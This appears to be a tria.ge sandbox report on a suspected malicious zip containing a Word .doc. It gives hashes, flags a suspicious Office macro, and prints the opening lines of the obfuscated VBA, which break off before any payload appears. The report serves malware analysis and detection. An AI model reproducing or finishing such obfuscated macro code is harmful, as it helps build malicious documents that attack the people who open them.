Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    Formular 2023.09.03_0902.zip

  • Size

    691KB

  • MD5

    4a990bf3dbb21a02a0addfdf404a4df0

  • SHA1

    397bd96b417d14699ce330d0bb224cd14eaf27ea

  • SHA256

    5d5902223f5e340838a0fa579cd751d1e55c0be5943694b0061aed4d147f09ff

  • SHA512

    6454af92c2c93e4003abe00145d9318274a597c92a8107b8a15e46fb6518308e6845065e5d7a492ae74215893e13dc6350e6fb09cd0c15ccab39d618a6f24a4d

  • SSDEEP

    3072:giAfPs0tO6SniAhaT2fKCEpPMPGzcaefJxRVNlumDpTpx6m7rrInkvkfCGAa+NTx:XAf7Iv5424pUP8cLvprInzCjNj9

Malware Config

Signatures

  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

Files

  • Formular 2023.09.03_0902.zip
    .zip
  • Formular 2023.09.03_0902.doc
    .doc windows office2003

    ThisDocument

    1
    Attribute VB_Name = "ThisDocument"
    2
    Attribute VB_Base = "1Normal.ThisDocument"
    3
    Attribute VB_GlobalNameSpace = False
    4
    Attribute VB_Creatable = False
    5
    Attribute VB_PredeclaredId = True
    6
    Attribute VB_Exposed = True
    7
    Attribute VB_TemplateDerived = True
    8
    Attribute VB_Customizable = True
    9

    Module1

    1
    Attribute VB_Name = "Module1"
    2
    Sub qaLCJwN(RW As Object, sgNup As String, UGHiXm As String)
    3
    Dim vQyle As String
    4
    Dim NEhVo As String
    5
    Dim c(1) As Long
    6
    Dim cCDFWoh As Long
    7
    Dim uLf As Integer
    8
    uLf = 1
    9
    cCDFWoh = uLf
    10
    NEhVo = "tR duE"

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.